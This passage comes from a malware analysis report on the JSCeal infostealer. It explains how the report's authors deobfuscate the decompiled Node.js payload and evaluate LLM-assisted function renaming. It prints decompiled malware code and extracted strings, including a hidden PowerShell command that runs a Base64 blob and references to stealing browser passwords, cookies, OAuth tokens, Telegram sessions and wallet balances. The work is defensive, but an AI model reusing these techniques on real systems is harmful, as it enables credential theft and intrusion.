KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtRdWl/ucoH+ZnVuxHrx2\ncTbwEY2LucyUqEJVl6trmNYaJTFX9qDYA8Z4VOaFO86MHg0cY1mJ8NALzTqDt20C\nlnqYtLEuo0Fqg9pJMhnEb078F31dilgdK+5bK7LgwXps06KQ+Dk7XxaqkbPFa7oZ\n73/q4FhrYEtBxFno0WJla7mq49/W4wJb753WYWTjRMjBKVaUIOtAtGdBp8Li2WX2\nPDqxftDcvT8hJf5H6tMJ3tQRpyHu7ljkwdivamG/labZpzKhijK7BMgrd7251sjh\n7zD6prnafayjK+nfD1dvok7Rd8TV8sa1FK8T0uMmGFdUVGK+X4f45AwNWn8OINLE\nVwIDAQAB\n-----END PUBLIC KEY-----" There are strings related to deploying hidden PowerShell scripts and running content from a Base64-encoded blob: "powershell -NoProfile -WindowStyle Hidden -Command \"" "Invoke-Expression ([System.Text.Encoding]::" ".GetString([System.Convert]::FromBase64String($_.unattend.Extensions." Multiple strings suggest that the malware enumerates installed browsers, and tries to query the saved secrets, cookies, OAuth tokens, and other data: "iterInstalledBrowsers" "getCookies" "application" "launch" "values" "createBrowserContext" "newPage" "setCookie" "getPasswords" "div[data-identifier=\"" "findInstalledBrowser" "--user-data-dir=" "--profile-directory=" "withCreateProcessUser" "user_id" "oauth_token" "google" "saveOAuthToken" "/oauth2/:version/token?grant_type=authorization_code&client_id=" It also queries all installed applications and targets Telegram accounts: "listTelegramSessions" "listInstalledApplications" To achieve its goals, it uses the capability to spawn additional processes: "Process exited with code " spawn It creates a local proxy server with its own certificate: "address" close "listen" "127.0.0.1" "createServer" pki rsa "generateKeyPair" "createCertificate" "publicKey" "serialNumber" "certificateToPem" Some strings are fragments of URLs for particular cryptocurrency vaults and are related to checking account balances: ".phantom-labs.vault." "totalBalanceInUSDT" "free_margin_usd" "floating_usd" "historical_balances_per_asset_category" "total_usd_market_value" "customer_account_USDT_balance_available" "binance" Many of the deobfuscated strings come from Node.js modules bundled into the payload and give an idea of what functionality to expect. Comprehensive analysis of all the artifacts is beyond this short overview. You can find the extracted strings from all analyzed samples in the directory with additional materials [ 8 ]. Control flow unflattening Some of the most important functions of the malware are obfuscated using Control Flow Flattening (CFF). To resolve this layer, we must make sure that all strings are deobfuscated and propagated, because they are crucial for the execution logic. In the listing produced by the previously described filter, we find some strings in the format  [number0]|[number1]|[number2]...  for example: “3|2|1|0|4”. Such strings denote an order of chunks to be executed. Typically, CFF is implemented as a state machine. We can see it represented by a while loop. In each iteration of the loop, the number is fetched from the list. This number is further checked against nested  if  statements, directing to the chunk of code to be executed. In the simplest form, a chunk ends with  continue , causing the loop to progress to another case. Example (from:  03f4e47b9c2283c32bb8f8f042ce6e41 ): function func_Mz_0x6035be98311(a0) { r5 = Scope[0] r2 = func_r_0x6035be98a69 Scope[6705][2] = new {"w": 1342} r6 = new {"jGBGz": null, "hBPBb": null, "qbyOP": null, "ykkYm": null, "SeAyf": null, "yHrsY": null, "umIdy": null, "RBgqe": null} r6["jGBGz"] = "3|2|1|0|4" r6["hBPBb"] = func_hBPBb_0x6035be990e9 r6["qbyOP"] = "wss" r6["ykkYm"] = func_ykkYm_0x6035be991e9 r6["SeAyf"] = func_SeAyf_0x6035be992e9 r6["yHrsY"] = "https" r6["umIdy"] = "http" r6["RBgqe"] = "Invalid protocol" r1 = r6 r7 = r1["jGBGz"] r6 = r7["split"] r3 = r6("|") r4 = 0 while (true) { r7 = Number(r4) r4 = (Number(r4) + 1) r6 = r3[r7] if (!r6 === "0") { if (!r6 === "1") { if (!r6 === "2") { if (!r6 === "3") { if (!r6 === "4") { continue } r7 = r1["hBPBb"] r10 = r1["qbyOP"] if (r7(a0, r10)) { r7 = global_Tb["default"] return r7["globalAgent"] } continue } r7 = r1["ykkYm"] if (r7(a0, "ws")) { r7 = global_Nb["default"] return r7["globalAgent"] } continue } r7 = r1["SeAyf"] r10 = r1["yHrsY"] if (r7(a0, r10)) { r7 = global_Tb["default"] return r7["globalAgent"] } continue } r7 = a0["split"] r7 = r7(":") a0 = r7[0] r7 = r1["hBPBb"] r10 = r1["umIdy"] if (r7(a0, r10)) { r7 = global_Nb["default"] return r7["globalAgent"] } continue } r8 = r1["RBgqe"] ACCU = Error ACCU = Error(r8) break } return undefined } We start the deobfuscation by identifying the beginnings and ends of each code chunk. For example, to find the chunk number 0, we first need to identify the if statement that actually checks against the negation of this condition:  if (!r6 === "0") . Once we find the statement, we have to skip the body under it (since it is a negation) and find the first closing bracket with the same indentation as the statement itself. This is where the chunk indexed as  0  actually starts. Once we have all the chunks mapped, we rearrange them by the order defined by the string, adjusting their indentations. The same function, unflattened: function func_Mz_0x6035be98311(a0) { r5 = Scope[0] r6 = new {"jGBGz": null, "hBPBb": null, "qbyOP": null, "ykkYm": null, "SeAyf": null, "yHrsY": null, "umIdy": null, "RBgqe": null} r6["hBPBb"] = func_hBPBb_0x6035be990e9 r6["qbyOP"] = "wss" r6["ykkYm"] = func_ykkYm_0x6035be991e9 r6["SeAyf"] = func_SeAyf_0x6035be992e9 r6["yHrsY"] = "https" r6["umIdy"] = "http" r6["RBgqe"] = "Invalid protocol" r1 = r6 r4 = 0 r7 = a0["split"] r7 = r7(":") a0 = r7[0] r7 = r1["hBPBb"] r10 = r1["umIdy"] if (r7(a0, r10)) { r7 = global_Nb["default"] return r7["globalAgent"] } r7 = r1["SeAyf"] r10 = r1["yHrsY"] if (r7(a0, r10)) { r7 = global_Tb["default"] return r7["globalAgent"] } r7 = r1["ykkYm"] if (r7(a0, "ws")) { r7 = global_Nb["default"] return r7["globalAgent"] } r7 = r1["hBPBb"] r10 = r1["qbyOP"] if (r7(a0, r10)) { r7 = global_Tb["default"] return r7["globalAgent"] } r8 = r1["RBgqe"] ACCU = Error ACCU = Error(r8) return undefined } For the sake of comparison, let’s see it with further deobfuscation filters applied: function func_Mz_0x6035be98311(a0) { r4 = 0 r7 = a0["split"] r7 = r7(":") a0 = r7[0] if (a0 === "http") { return global_Nb["default"]["globalAgent"] } if (a0 === "https") { return global_Tb["default"]["globalAgent"] } if (a0 === "ws") { return global_Nb["default"]["globalAgent"] } if (a0 === "wss") { return global_Tb["default"]["globalAgent"] } ACCU = Error ACCU = Error("Invalid protocol") return undefined } At this point the function’s intention becomes clear. It performs a lookup that returns the appropriate  globalAgent  for a given protocol. The caveats Sometimes, the chunks of code that are executed in each state are decompiled in a way that makes them difficult to separate cleanly. Let’s take a look at the following example: while (true) //The dispatcher loop { r15 = Number(r4) r4 = (Number(r4) + 1) r14 = r3[r15] if (!r14 === "0") { // Other chunks... // [...] } // Chunk 0: r15 = r2["Uugef"] if (r15(r11, r12)) { ACCU = 0 continue ///<- this is not the end of the chunk... } r15 = r2["PgJCU"] r17 = r2["LqFvW"] r17 = r17(r11, r12) if (r15(r17, r5)) { ACCU = 1 continue ///<- this is not the end of the chunk... } return -1 break } We have  continue  statements inside the  if  blocks. In the original flow, this leads to jumping back to the top of the loop and fetching another chunk from the list. But when we unflatten the flow, and remove the loop, it no longer makes sense, so this logic has to be rewritten. The chunk should therefore look as follows after this adjustment: // Chunk 0: r15 = r2["Uugef"] if (r15(r11, r12)) { ACCU = 0 } else // added else statement { r15 = r2["PgJCU"] r17 = r2["LqFvW"] r17 = r17(r11, r12) if (r15(r17, r5)) { ACCU = 1 } else // added else statement { return -1 } } The  continue  statements have been removed, and the code that originally followed each  if  statement has been moved into the corresponding  else  clause. The current version of our deobfuscation pass can handle such scenarios. It automatically removes the nested  continue  statements and reconstructs the equivalent logic by building an  else  clause from the code that follows the original  if  statement. This has proved sufficient in the majority of the analyzed cases. However, we may occasionally encounter more complex or ambiguous variants that are not yet resolved. These cases will be addressed in future versions as our toolkit [ 7 ] evolves. Resolving Proxies and Operations Across the code, we often encounter functions that act as proxies for other functions. Their only role is to complicate the flow, misleading readers about the actual function being called and making its arguments harder to parse. The simplest proxies look as follows: the actual function that is about to be called is just passed as one of the arguments. function func_hgFUm_0x17275c6577e9(a0, a1, a2, a3, a4, a5, a6) { r1 = a1 r2 = a2 r3 = a3 r4 = a4 r5 = a5 r6 = a6 return a0(r1, r2, r3, r4, r5, r6) } function func_oWgYF_0x17275c6566c1(a0, a1, a2, a3, a4) { r1 = a1 r2 = a2 r3 = a3 r4 = a4 return a0(r1, r2, r3, r4) } They are usually simple to resolve. First, we reduce each of them to their basic form, which removes the use of the local registers. For example: function func_INBzN_0x16abcdb5cc69(a0, a1, a2, a3) { r1 = a1 r2 = a2 r3 = a3 return a0(r1, r2, r3) return a0(a1, a2, a3) } Then, we replace their calls. After all the calls to the particular proxy are replaced with their basic meaning, the proxy itself can be hidden in the code. Example: -function func_INBzN_0x16abcdb5cc69(a0, a1, a2, a3) -{ return a0(a1, a2, a3) -} @@ -22213,7 +21565,7 @@ function func_J_0x16abcdb59891() } else { ACCU = func_INBzN_0x16abcdb5cc69(func_k_0x16abcdb5a2d9, <this>, null, null) ACCU = func_k_0x16abcdb5a2d9(<this>, null, null) } As with proxy calls, there are plenty of other small functions that should be resolved and hidden. In multiple places in the code we can find operations that are implemented by functions, with obfuscated names. For example: function func_wcmWN_0x35459f2fab89(a0, a1) { return a0 in a1 } function func_eBvDY_0x35459f2fa789(a0, a1) { return (a0 - a1) } function func_wNPyv_0x35459f2fa689(a0, a1) { return (a0 / a1) } function func_oEEDc_0x35459f2faa89(a0, a1) { return a0(a1) } The same operation can also be defined by multiple instances of an identical function (i.e. there are multiple functions implementing simple addition). One of our deobfuscating passes is meant to replace calls to such functions with the actual operations that they represent. However, the functions may not be called directly. So, before we proceed with the substitution, we need to apply all needed simplifications. Iterative propagation of the structures To complicate the flow even more, the variables and functions are often not used directly. They may be first defined as a local dictionary, initialized, then passed further, to be referenced in different parts of the code. In the snippet below, a dictionary is first assigned to the local register  r1 , filled with references to functions, and further assigned to the scope variable ( Scope[846][21] ). r1 = new {"hKCZK": null, "kdujm": null, "siBVG": null, "qQNNx": null, "ECBQT": null, "Bdomb": null} r1["hKCZK"] = func_hKCZK_0x24149a8df611 r1["kdujm"] = func_kdujm_0x24149a8df931 r1["siBVG"] = func_siBVG_0x24149a8dfbe1 r1["qQNNx"] = func_qQNNx_0x24149a8dfe99 r1["ECBQT"] = func_ECBQT_0x24149a8e0151 r1["Bdomb"] = func_Bdomb_0x24149a8e0409 Scope[846][21] = r1 Then, each of these functions is called indirectly, by one of the children of the declarer. Notice that the keys of many of the dictionaries are strings. This is why decrypting strings is such a crucial step in the whole pipeline: without them, we are unable to proceed further. Due to the layered nature of the obfuscator, the pass that propagates such defined structures must be run multiple times at different stages. The arguments to the string deobfuscation functions are also often passed via dictionaries set into a scope. One such example is given below – in this case, the string decoding function is called via register  r5 , and its two arguments are passed via  Scope[846][3] : r10 = Scope[846][21][r5(Scope[846][3]["N"], Scope[846][3]["M"])] Only after filling them in and deobfuscating strings are we able to see the actual key of the next dictionary (in the given case, it is  "qQNNx" ). The next run of the pass allows us to resolve this key to the value it was mapped to by another function (here: it is a reference to the function  func_qQNNx_0x24149a8dfe99 ). r10 = Scope[846][21]["qQNNx"] //func_qQNNx_0x24149a8dfe99 This is not the end of the rabbit-hole. The referenced function may itself use values passed in a similar way. Below we can see that it first fetches some function via  Scope[845][29]  using the key  "PQxQy"  and then calls this function with two arguments. Basically, it is a wrapper. function func_qQNNx_0x24149a8dfe99(a0, a1) { r1 = Scope[845][29]["PQxQy"] return r1(a0, a1) } Once we track upstream what is behind this key, we find a reference to another function: r4 = new {... "PQxQy": null, ...} ... r4["PQxQy"] = func_PQxQy_0x24149a8dd581 ... Scope[845][29] = r4 Finally, after resolving it to a self-contained unit we find that this whole chain leads to the execution of a simple atomic operation: function func_PQxQy_0x24149a8dd581(a0, a1) { return (a0 - a1) } By peeling the layers, one by one, we manage to express such operations with their literal meaning. An example of the complete simplification process is given below. Step 1 (initial decompiled code): function func_value_0x24149a8e3d19(a0) { [...] r10 = Scope[846][21][r5(Scope[846][3]["N"], Scope[846][3]["M"])] r13 = r5(Scope[846][3]["k"], Scope[846][3]["Q"]) r12 = r0[(r13 + "h")] r10 = r10(r12, a0) Step 2 (resolve arguments for the string deobfuscation function  func_me_0x24149a8e4421 ): r10 = Scope[846][21][func_me_0x24149a8e4421(12568, "%]hf")] //"qQNNx" r13 = func_me_0x24149a8e4421(34408, "[Jy3") //"lengt" r12 = r0[(r13 + "h")] r10 = r10(r12, a0) Step 3 (the string revealed the key of another dictionary passed via scope, that resolves to a function): r10 = Scope[846][21]["qQNNx"] // func_qQNNx_0x24149a8dfe99 r12 = r0["length"] r10 = r10(r12, a0) Step 4 (the found function is called in the line below; it resolves to a proxy function): r12 = r0["length"] r10 = func_qQNNx_0x24149a8dfe99(r12, a0) // -> func_PQxQy_0x24149a8dd581 Step 5 (substitute the proxy function with the actual function it calls): r12 = r0["length"] r10 = func_PQxQy_0x24149a8dd581(r12, a0) Step 6 (the call resolves to an atomic operation and can be substituted by such): r12 = r0["length"] r10 = (r12 - a0) The given example is just one of the possible variants in which such a propagation chain may work. It has been presented to give an idea of the underlying complexity. Interpreting the flow Once we have the major obfuscation layers removed, the malware starts revealing its shape. This allows us to pinpoint the most important building blocks of the whole execution flow, and guide next steps. The entry point of the file is the function labeled start. At the very end of it, the functions that will be running the main operations are set up. Example: global_Xr = func_Xr_0x93e23cef8e9 [...] d7e = global_Xr(func_unknown_0x217bb6195779) [...] G7e = {} M7e = global_Xr(func_unknown_0x7b2a97682c9) j7e = require("dns") ACCU = global_n2() r1 = j7e["setServers"] r3 = new [0, 0] r3[0] = "1.1.1.1" r3[1] = "8.8.8.8" ACCU = r1(r3) ACCU = global_Soe(__filename) if (global_Soe(__filename)) { ACCU = global_d7e() ACCU = global_kV(s7e) } else { ACCU = global_M7e() ACCU = global_kV(G7e) } r0 = ACCU return ACCU } This still contains some obfuscation patterns that need to be understood and removed. Proxy functions using scopes The start function sets up several proxy functions that are further referenced via globals. They come in a few different variants, but we will illustrate the most common type. Let’s focus on the fragments of the earlier snippet: global_Xr = func_Xr_0x93e23cef8e9 ... d7e = global_Xr(func_unknown_0x217bb6195779) ... M7e = global_Xr(func_unknown_0x7b2a97682c9) ... if (global_Soe(__filename)) { ACCU = global_d7e() ... } else { ACCU = global_M7e() ... } The  global_Xr  variable points to the following function: function func_Xr_0x93e23cef8e9(a0, a1) { r0 = Scope[0] Scope[8554][3] = a0 Scope[8554][2] = a1 return func_unknown_0x93e23cef9f9 } That function finishes by returning a reference to another function, which makes the second part of the flow. It uses the scope arguments that were previously set up: function func_unknown_0x93e23cef9f9() { if (Scope[8554][3]) { r0 = Scope[8554][3] Scope[8554][3] = 0 Scope[8554][2] = r0(0) } return Scope[8554][2] } The first step in deobfuscating it is recognizing how these functions behave when joined as one unit. It could be represented by the following pseudo-code: function Xr(fn, cached) { return function thunk() { if (fn) { const tmp = fn; fn = 0; cached = tmp(0); } return cached; }; } This is a lazy, one-shot wrapper: on its first invocation it calls the supplied function and caches the result; subsequent calls return the cached value. In the initialization sites shown here, the thunk is used to reach the underlying function, so for analysis we can collapse that indirection and expose the actual target directly. We can observe it referenced similarly to the example below: global_d7e = global_Xr(func_unknown_0x217bb6195779) [...] ACCU = global_d7e() There is now a global thunk wrapping the target function. Once we understand this indirection, in the initialization path shown here we can expose the target directly: ACCU = func_unknown_0x217bb6195779() So, the final dispatcher can be interpreted as: if (global_Soe(__filename)) { ACCU = func_unknown_0x217bb6195779() ACCU = global_kV(s7e) } else { ACCU = func_unknown_0x7b2a97682c9() ACCU = global_kV(G7e) } Finding the vital functions To understand the flow further, we need to see what happens in the function called in each branch. Let’s look at one of them: function func_unknown_0x7b2a97682c9() { r5 = Scope[0] r2 = func_r_0x7b2a9768611 r6 = new {"bALca": null, "rPEMA": null, "PUUhv": null, "zEykL": null} r6["rPEMA"] = func_rPEMA_0x7b2a9768939 r6["PUUhv"] = func_PUUhv_0x7b2a9768a39 r6["zEykL"] = func_zEykL_0x7b2a9768b39 r1 = r6 r4 = 0 r7 = r1["zEykL"] ACCU = r7(P7e) r7 = r1["rPEMA"] ACCU = r7(X7e) r7 = r1["PUUhv"] ACCU = r7(N7e) r7 = r1["rPEMA"] ACCU = r7(R7e) return undefined } Functions like  rPEMA  simply perform calls via a proxy: function func_rPEMA_0x7b2a9768939(a0) { return a0() } So the real meaning is: function func_unknown_0x7b2a97682c9() { r4 = 0 ACCU = global_P7e() ACCU = global_X7e() ACCU = global_N7e() ACCU = global_R7e() return undefined } In the other branch of the statement, it is: function func_unknown_0x217bb6195779() { r4 = 0 ACCU = global_RU() ACCU = global_n7e() ACCU = global_c7e() ACCU = global_Xf() ACCU = global_FE() ACCU = global_x7e() return undefined } Functions such as  P7e  are defined in the start function as globals and resolve to: global_RU = global_Xr(func_unknown_0x217bb618aaf1) global_n7e = global_Xr(func_unknown_0x217bb618e1f1) global_c7e = global_Xr(func_unknown_0x217bb61943c1) global_Xf = global_Xr(func_unknown_0x1cab5d7b26e9) global_FE = global_Xr(func_unknown_0x1d8d5671d7f1) global_x7e = func_x7e_0x217bb6194f91 global_P7e = global_Xr(func_unknown_0x7b2a9764cb1) global_X7e = global_Xr(func_unknown_0x7b2a9766509) global_N7e = global_Xr(func_unknown_0x7b2a975fa61) global_R7e = global_Xr(func_unknown_0x7b2a9751711) Those are the functions that implement the actual malware functionality. Some of them are further obfuscated, for example: function func_unknown_0x217bb618e1f1() { r3 = Scope[0] r4 = new {"Vhzac": null, "ZljYv": null, "MbImZ": null} r4["Vhzac"] = func_Vhzac_0x217bb618e6d1 r4["ZljYv"] = func_ZljYv_0x217bb618e7d1 r4["MbImZ"] = func_MbImZ_0x217bb618e8d1 r1 = r4 r4 = r1["Vhzac"] ACCU = r4(f1) r4 = r1["ZljYv"] r7 = r1["Vhzac"] r7 = r7(Qs) global_eb = r4(Di, r7) r4 = r1["MbImZ"] ACCU = r4(ag) return undefined } After replacing the wrappers, we can see more clearly what the above code represents: function func_unknown_0x217bb618e1f1() { r3 = Scope[0] ACCU = global_f1() // global_f1 = global_Xr(func_unknown_0x23f664e8d2b1) r7 = global_Qs() // global_Qs = global_du(func_unknown_0x1cab5d7a90b1) global_eb = global_Di(r7) // global_Di = func_Di_0x93e23cf17b1 ACCU = global_ag() // global_ag = global_Xr(func_unknown_0x1cab5d7b0399) return undefined } Further substituting the globals with their literal values and removing all the proxy layers finally reveals the bare dispatcher functions that can be easily followed and analyzed. After the final transformation, the function presented above takes the following form: function func_unknown_0x217bb618e1f1() { ACCU = func_unknown_0x23f664e8d2b1() r7 = func_unknown_0x1cab5d7a90b1["exports"]() global_eb = func_Di_0x93e23cf17b1(r7) ACCU = func_unknown_0x1cab5d7b0399() return undefined } LLM-assisted function renaming After the deterministic deobfuscation passes, the output is structurally much cleaner: strings are visible, important flattened flows have been reconstructed, and many proxy and operation-wrapper functions have disappeared. One problem remains unavoidable: compilation and obfuscation have destroyed the original semantic function names. For a small program, an analyst could rename important functions manually. JSCeal contains thousands of functions, including a large amount of bundled dependency code, so manual naming does not scale. We therefore added an  optional LLM-assisted renaming stage  as a navigation aid. The distinction is important: the LLM does not perform the core deobfuscation, and its output is not treated as evidence. It receives code that has already been recovered by the static pipeline and proposes labels intended to make the resulting function graph easier to browse. Dependency-aware renaming Because functions depend on other functions, the order in which they are sent to the renamer matters. We start by building a dependency graph from the entry point. In the default mode, the graph follows  direct function calls . In  greedy  mode, it follows all visible function references, including callbacks, handlers, and functions assigned into objects. Greedy mode therefore covers a broader part of the program, but it also produces a much larger graph. Renaming proceeds leaf-first. Functions with the fewest unresolved dependencies are processed first. Each proposed name is then propagated into dependent functions before the next layer is processed. By the time the renamer reaches a high-level function, many of its callees already carry descriptive labels. Conceptually: Figure 4 – The conceptual flow of the function renamer The tool can send functions individually or group them into bulk requests. Generated mappings are stored in CSV, which also acts as a cache: interrupted runs can continue without re-querying functions that have already been covered. Reviewed or externally generated CSV mappings can also be applied without contacting an LLM. The public release supports Anthropic, OpenAI, and Ollama backends. It also provides a focused  --func  mode for requesting a detailed analysis of one selected function, including a proposed name, behavior summary, evidence, and unresolved uncertainty. Evaluating the proposed names Because a plausible-sounding function name may still be incorrect, we evaluated the renaming stage separately from the deterministic deobfuscation. The supporting experiments were conducted by extracting selected, context-rich function trees, starting from the roots responsible for the malware initialization logic, submitting them to the LLM-assisted analysis workflow, and manually verifying the proposed names. For the final comparison, we generated names from the same normalized deobfuscated base using  Claude Sonnet 4.6  and  GPT-5.4-mini . Note that these models are not perfectly matched vendor tiers, but practical model configurations for processing payloads this large that were available at the time. This evaluation should be treated as an example, not as a ranking. The results of one of the experiments are available in the repository of the supplementary materials [ 8 ] ( session1 ). Across more than 21,000 functions, the two models selected exactly the same textual name only  9.3%  of the time. This provided a broad measure of naming agreement, but not of semantic correctness. Different names can describe the same behavior while failing an exact-string comparison. We therefore performed a separate contextual evaluation on  142 selected function trees , each built from a selected root toward its dependencies. Across  142 selected roots : both proposed names were semantically reasonable in  117  cases; only the Sonnet name held up in  22  cases; only the GPT name held up in  3  cases. When we applied a stricter criterion — whether the name was both correct and sufficiently informative about the function’s actual role — Sonnet produced  128/142  useful names, while GPT produced  30/142 . In another  90  cases, the GPT name still identified the correct general area of behavior but was too broad or imprecise to serve as a strong semantic label. A representative example is a function that locates a certificate in the Windows certificate store and removes it. GPT labeled it  findCertificate , capturing part of the implementation but missing the function’s effect. Sonnet proposed  removeCertificate , which better described the behavior. Sonnet was not infallible either. In one case, it proposed  decryptLocalStateFile , while the function actually read and decrypted a DPAPI master-key file from the Windows Protect directory and verified its HMAC. The label sounded plausible because the surrounding code dealt extensively with browser decryption, but the function body did not support that exact interpretation. These examples define the boundary of the method.  The proposed name is a hypothesis. The function body is the evidence. Strings, APIs, file paths, called functions, and data flow remain the basis for every important analytical claim. The LLM stage helps us find and navigate relevant logic faster; it does not replace reverse engineering. Example:  getGlobalAgent The running example from the earlier deobfuscation stages is a good illustration. After string recovery, control-flow unflattening, and proxy/operation cleanup, its behavior is already visible: it normalizes a protocol and returns the appropriate HTTP or HTTPS global agent. The model proposed the name  getGlobalAgent , which is well supported by the body: function getGlobalAgent(url) { const protocol = url.split(":")[0]; if (protocol === "http") { return http.default.globalAgent; } if (protocol === "https") { return https.default.globalAgent; } if (protocol === "ws") { return http.default.globalAgent; } if (protocol === "wss") { return https.default.globalAgent; } throw new Error("Invalid protocol"); } The useful part is not that the model “discovered” the behavior. The static pipeline had already exposed it. The name simply compresses that understanding into a label that can be propagated into higher-level callers. Overview of the deobfuscated code Although all the JSCeal payloads have similarities, their exact functionality may vary. In this part we will do a brief case study based on one selected sample: MD5:  e27ae65977287bdfb7b0e15fd3603f85  (details:  Appendix B ) The deobfuscated result used in this analysis can be found [ here ]. The corresponding function names mapping is available in the data repository [ 8 ]:  names_greedy_bulk_claude-sonnet-4-6.normalized.csv . Details of the campaign delivering this particular payload are given in Microsoft’s article [ 12 ] and Cato article [ 13 ]. Note that a comprehensive analysis of JSCeal’s capabilities is beyond the scope of this article; here we highlight selected functions to demonstrate that the deobfuscated output is sufficient for practical threat analysis. Initialization After cleaning up the whole flow, the start function becomes much smaller. We additionally applied the optional LLM-assisted renaming stage in greedy mode, which makes the recovered function graph easier to navigate. Multiple structures are initialized in the start function. The proposed labels provide useful hints about their roles; the relevant behavior can then be verified by inspecting the recovered function bodies. From the recovered assignments, we can see that a structure prepared locally is then copied into a global variable. For example: global_Nm = {} r3 = new {"default": null, "disableOverrideQR": null, "overrideQR": null} r3["default"] = func_getPm_0x10000bdcb r3["disableOverrideQR"] = func_getRemoveElementFn_0x10000bdcc r3["overrideQR"] = func_getQrLoginInitiator_0x10000bdcd ACCU = func_defineGetterProperties_0x100003170(global_Nm, r3) The initialization of the actual malware logic is always at the end of the start function. Since all the functions are called directly now (not via proxies), and are renamed, we can quickly focus on those that actually initialize the malware functionalities. global_s7e = {} global_G7e = {} ACCU = func_requireCluster_0x10000317e() r1 = (require("dns"))["setServers"] r3 = new [0, 0] r3[0] = "1.1.1.1" r3[1] = "8.8.8.8" ACCU = r1(r3) ACCU = func_setupWorkerPrimary_0x100000001(__filename) if (func_setupWorkerPrimary_0x100000001(__filename)) { ACCU = func_initializeApplication_0x10000c926() ACCU = func_markEsModule_0x10000317b(global_s7e) } else { ACCU = func_initializeModules_0x10000d2fe() ACCU = func_markEsModule_0x10000317b(global_G7e) } r0 = ACCU return ACCU } As we can see above, there are two alternative initialization functions, both leading to the setup of handlers for the core functionality. The decision about which path to follow is made by the function labeled  func_setupWorkerPrimary_0x100000001 , which returns true when the code is running in the primary cluster process and on the main thread. It also configures the primary cluster process to use  "advanced"  serialization. function func_setupWorkerPrimary_0x100000001(a0) { if (!global_uE["default"]["isPrimary"]) || (!(require("worker_threads"))["isMainThread"]) { return false } if ((a0)) { ACCU = Error ACCU = Error("Worker root already configured") } r4 = global_uE["default"] if (r4["isPrimary"]) { r4 = global_uE["default"]["setupPrimary"] r6 = new {"serialization": null} r6["serialization"] = "advanced" ACCU = r4(r6) } return true } Originally, both initialization functions that follow the decision were obfuscated with Control Flow Flattening, and used wrapped calls. Now their meaning is much clearer, and the inner function names give us a better approximation of what to expect. Variant 1 (primary, main thread): function func_initializeApplication_0x10000c926() { r4 = 0 ACCU = func_initializeFaroClient_0x100005504() ACCU = func_initializeMainRouter_0x10000c910() ACCU = func_initLevelDbModule_0x10000a912() ACCU = func_initializeMachineIdModule_0x10000c915() ACCU = func_initializeModules_0x10000c91e() ACCU = func_runMigrations_0x100000ab3() return undefined } Variant 2 (worker path): function func_initializeModules_0x10000d2fe() { r4 = 0 ACCU = func_initializeAsarRouter_0x10000d28b() ACCU = func_initializeScreenCaptureModule_0x10000d2e3() ACCU = func_initSecurityModule_0x10000d2ef() ACCU = func_initializeNotificationModule_0x10000d2f9() return undefined } Comparing the initialization functions across different payloads can quickly give us an approximate idea of what has changed (although the structure is not always directly comparable). Let’s zoom in on one of the functions called from this initializer:  func_initializeMainRouter_0x10000c910 . It sets up a large collection of handlers, and the proposed names give a quick indication of what to expect inside: function func_initializeMainRouter_0x10000c910() { r4 = 0 ACCU = func_initMetaRouter_0x100005537() ACCU = func_initializePowerRouter_0x100005929() ACCU = func_initScreencastRouterModule_0x10000678b() ACCU = func_initKeydownRouterModule_0x10000679f() ACCU = func_initializeTerminalRouter_0x100006e0e() ACCU = func_initializeFileSystemRouter_0x100006efa() ACCU = func_initializeProcessRouter_0x100006f11() ACCU = func_initializeWindowsRouter_0x100007038() ACCU = func_initializeAppRouter_0x100009ef2() ACCU = func_initializeNgcRouter_0x10000a98f() ACCU = func_initializeRouterModule_0x10000a99e() ACCU = func_initializeBrowserRouter_0x10000b83a() ACCU = func_initTelegramModule_0x10000b862() ACCU = func_initializeSslProxyModule_0x10000be35() ACCU = func_initializeRouterModule_0x10000bffa() ACCU = func_initializeServerModule_0x10000c8bb() ACCU = func_initializeNotificationRouter_0x10000c8c2() ACCU = func_initializeApplication_0x10000c8cf() ACCU = func_initializeAutounattendModule_0x10000c8e7() ACCU = func_initRecoveryModule_0x10000c8f3() ACCU = func_initSystemControlModule_0x10000c8fe() r10 = new {"power": null, "screen": null, "keyboard": null, "terminal": null, "filesystem": null, "processes": null, "windows": null, "asar": null, "ngc": null, "checker": null, "chromium": null, "telegram": null, "proxy": null, "reverseProxy": null, "server": null, "toast": null, "machine": null, "unattend": null, "winRE": null, "tools": null} r10["power"] = global_DP r10["screen"] = global_QX r10["keyboard"] = global_RX r10["terminal"] = global_YX r10["filesystem"] = global_iG r10["processes"] = global_oG r10["windows"] = global_aG r10["asar"] = global_oj r10["ngc"] = global_iz r10["checker"] = global_sz r10["chromium"] = global_EK r10["telegram"] = global_pK r10["proxy"] = global_HK r10["reverseProxy"] = global_tU r10["server"] = global_pU r10["toast"] = global_gU r10["machine"] = global_VU r10["unattend"] = global__U r10["winRE"] = global_yU r10["tools"] = global_kU global_RL = (global_Nh["router"])(r10) return undefined } The structure is a tRPC router tree: each  initialize*Router  or  initialize*Module  call builds a set of procedures and assigns them to a global. The same  router  /  procedure  /  query  /  mutation  pattern recurs throughout the payload, including in the security, screen capture, and cryptocurrency modules shown later. For example: function func_initSecurityModule_0x10000d2ef() { Scope[6][6] = func_n_0x10000d2e4 r5 = func_initializeNativeModule_0x1000054f8["exports"]() global_JB = func_interopRequireWildcard_0x10000317a(r5) ACCU = func_requireCluster_0x10000317e() ACCU = func_noop_0x10000a9a0() ACCU = func_initClusterModule_0x10000cdef() r2 = (func_createInstance_0x100000ab5())["router"] r4 = new {"getUserDirectory": null} r6 = (func_createInstance_0x100000ab5())["procedure"] r5 = r6["query"] r4["getUserDirectory"] = r5(func_getUserDirectory_0x10000d2ec) global_OL = r2(r4) ACCU = func_runIfWorkerPool_0x10000000b(("security-impersonation"), func_impersonateUserAndInit_0x10000d2ee) return undefined } // the handler: function func_impersonateUserAndInit_0x10000d2ee(a0) { r1 = global_JB["impersonateUserSecurity"] ACCU = r1(a0) ACCU = func_initWorkerSocket_0x100000abd(global_OL) return undefined } Initialization functions frequently end by registering a worker thread to run the handlers they just built. Here  func_runIfWorkerPool_0x10000000b  binds the  security-impersonation  pool to  func_impersonateUserAndInit_0x10000d2ee , which impersonates a user security context before attaching the router to a worker socket. The remaining modules follow the same shape; below we look at the ones that expose the most capability. Uploading collected data Among the recovered initialization functions are routers that register handlers for collected secrets. Following those handlers downstream shows how the local routes reach the malware’s network client. function func_initializeApplicationsRouter_0x10000c8a5() { Scope[604][4] = func_n_0x10000c89e r3 = 0 ACCU = func_initializeNetworkClient_0x100006702() ACCU = func_initializeDatabase_0x10000c895() ACCU = func_unknown_0x10000590f() r6 = global_fi["object"] r8 = new 